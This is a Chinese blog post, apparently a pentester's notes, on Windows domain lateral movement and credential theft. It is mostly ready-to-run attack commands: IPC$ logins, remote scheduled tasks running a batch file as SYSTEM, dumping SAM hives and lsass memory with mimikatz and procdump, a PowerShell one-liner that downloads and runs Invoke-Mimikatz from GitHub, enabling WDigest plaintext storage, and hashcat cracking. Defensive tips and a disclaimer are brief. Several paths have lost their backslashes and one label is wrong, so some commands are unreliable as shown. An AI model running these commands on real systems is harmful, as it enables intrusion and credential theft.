1、概述
本篇文章继续记录内网渗透方面域内横向移动技术。
2、内容
2.1 常用Windows远程连接和相关命令
拿到目标计算机的用户明文密码或者NTLM Hash后,可通过PTH(pass the hash 凭据传递)的方法,将散列值或明文密码传送到目标机器进行验证。
IPC
IPC共享“命名管道“的资源,实现进程之间通信开放的命名管道,IPC可通过验证用户名和密码获得相应的权限,常用于远程管理计算机和查看计算机的共享资源时使用。通过IPC$与目标机器建立连接。
创建IPC$完成后,使用net use 查看,创建命令如下:
net use \192.168.127.130ipc$ "1" /user:testuser
192.168.127.130:目标机器IP地址
1:目标机器密码
testuser:目标机器密码
ipc$利用条件:
开启139、445端口
管理员开启了默认共享
使用Windows自带工具获取远程主机信息
dir命令
使用dir可列出远程主机中的文件
dir \192.168.127.130c$
tasklist命令
查看远程主机上运行的进程
tasklist /S 192.168.127.130 /U testuser /P 1
计划任务
at命令
此命令创建计划任务,主要工作在Windows Server 2008之前。
查看目标系统时间
net time \192.168.127.130
将文件复制到目标系统
copy sahx.bat \192.168.127.130c$
使用at创建计划任务
at \192.168.127.130 5:20PM C:sahx.bat
清除at命令
at \192.168.127.130 7 /delete
执行命令写入文件
at \192.168.127.130 5:20PM cmd.exe /c "ipconfig > C:sahx.txt"
然后读取文件
type \192.168.127.130C$sahx.txt
schtasks命令
schtasks /create /s 192.168.127.130 /tn sahx /sc onstart /tr c:sahx.bat /ru system /f
该命令创建sahx计划任务,在开机时启动,启动程序c盘下的sahx.bat,启动权限system
执行计划任务
schtasks /run /s 192.168.127.130 /i /tn "sahx"
删除计划任务
schtasks /delete /s 192.168.127.130 /tn "sahx" /f
删除ipc$
net use \192.168.127.130ipc$ /del /y
2.2 Windows系统散列值获取
LM Hash和NTLM Hash
在域环境中用户信息存储在ntds.dit中,加密后为散列值
Hash结果如下:
username:RID:LM-HASH:NT-HASH
个人版从vista以后,服务器从win server2003以后均为NTLM Hash。
单机密码抓取
想要在win操作系统中抓取散列值或者明文密码,必须提升权限至system,可使用工具将散列值和明文密码从内存中lsass.exe进程或SAM(C:Windowssystem32config)文件中导出。
GetPass工具
下载地址:https://bbs.pediy.com/thread-163383.htm
使用虚拟机运行,不知道啥情况密码没出来。
PwDump
下载地址:https://www.openwall.com/passwords/windows-pwdump
获取系统中NTLM Hash,可通过彩虹表破解散列值或者hash传递进行横向渗透。
QuarksPwDump
下载地址:https://raw.githubusercontent.com/tuthimi/quarkspwdump/master/Release/QuarksPwDump.exe
觉得不安全的可自己下载源码编译:https://github.com/quarkslab/quarkspwdump
使用命令导出用户NTLM Hash
QuarksPwDump.exe --dump-hash-local
此工具会被很多杀软标记。
通过SAM和System文件抓取密码
导出SAM和System文件
无工具导出
reg save hklmsam sam.hive
reg save hklmsystem system.hive
通过读取SAM和System文件获得NTLM Hash
使用mimikatz读取
下载地址:https://github.com/gentilkiwi/mimikatz/releases
将导出文件放在mimikatz同一目录。
然后读取文件
lsadump::sam /sam:sam.hive /system:system.hive
使用mimikatz直接读取本地SAM,导出Hash
privilege::debug #提升权限
token::elevate 将权限提升至system
lsadump::sam 读取本地SAM文件,获得NTLM Hash
使用mimikatz在线读取SAM文件
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
使用mimikatz离线读取lsass.dmp文件
打开任务管理器导出lsass.dmp文件
使用Procdump导出lsass.dmp文件,此工具为微软官方工具,一般杀软不会报毒
下载地址:https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
linux版本:https://github.com/Sysinternals/ProcDump-for-Linux/releases
命令如下:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
使用mimikatz导出lsass.dmp文件中的密码散列值
sekurlsa::minidump lsass.DMP 加载lsass.dmp文件
sekurlsa::logonPasswords full 导出密码散列值
使用powershell对散列值进行Dump操作
Nishang的Get-PassHashes.ps1导出散列值
Get-ExecutionPolicy 获取当前执行策略
Get-ExecutionPolicy -List 获取影响当前会话的所有执行策略
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser 修改执行策略允许调用本地脚本运行
Import-Module .Get-PassHashes.ps1 导入执行脚本
Get-PassHashes 导出散列值
使用powershell远程加载mimikatz抓取散列值和明文密码
powershell.exe IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
单机密码抓取防御
查看注册表项Wdigest
使用reg add命令
开启Wdigest auth命令如下:
reg add HKLMSYSTEMCurrentControlSetControlSecruityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
关闭Wdigest auth命令
reg add HKLMSYSTEMCurrentControlSetControlSecruityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
使用powershell
开启Wdigest auth
Set-ItemProperty -Path HKLM:SYSTEMCurrentControlSetControlSecruityProvidersWDigest -Name UseLogonCredential -Type DWORD -Value 1
关闭Wdigest auth
Set-ItemProperty -Path HKLM:SYSTEMCurrentControlSetControlSecruityProvidersWDigest -Name UseLogonCredential -Type DWORD -Value 0
使用Hashcat获取密码
HashCat主要分为三个版本:Hashcat、oclHashcat-plus、oclHashcat-lite。这三个版本的主要区别是:HashCat只支持CPU破解。oclHashcat-plus支持使用GPU破解多个HASH,并且支持的算法高达77种。oclHashcat-lite只支持使用GPU对单个HASH进行破解,支持的HASH种类仅有32种,但是对算法进行了优化,可以达到GPU破解的最高速度。
安装hashcat
git clone https://github.com/hashcat/hashcat.git
make
make install
Hashcat使用方法
hashcat -b 测试当前机器进行破解的基准速度
hashcat -m 指定散列值类型
散列值类型可查看:
https://hashcat.net/wiki/doku.php?id=example_hashes
-a number 指定破解模式
0 = Straight 字典破解
1 = Combination 组合破解
2 = Toggle-Case
3 = Brute-force 掩码暴力破解
4 = Permutation 组合破解
5 = Table-Lookup
常用命令
hashcat -a 0 -m xx <hashfile> <zidina1> <zidina2>
-a 0 字典破解
-m xx 指定hashfile内的散列值类型
<zidina1> <zidina2> 指定字典
破解windows散列值
hashcat -m 1000 -a 0 -o winpassok.txt win.hash password.list --username
破解Wi-Fi握手包,先使用aircrack-ng把cap格式转换为hccap格式
aircrack-ng <out.cap> -J <out.hccap>
hashcat -m 2500 out.hccap dics.txt
-m 2500 指散列值类型为WPA/PSK
在线破解网站
http://www.xmd5.com/
https://www.cmd5.com/
攻击者抓取明文密码和散列值防御措施
设置Active Directory 2012 R2功能级别
安装KB2871997
通过修改注册表禁止在内存中存储明文密码
mimikatz防御,将Debug权限的本地管理员从Administrator组中删除。
免责声明:
本公众号漏洞复现文章,SRC、渗透测试等文章,仅供学习参考,请勿用于实战!!有授权情况下除外!!由于传播、利用本公众号文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责
原文始发于微信公众号(sahx安全从业记):内网(笔记)-域内横向移动
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论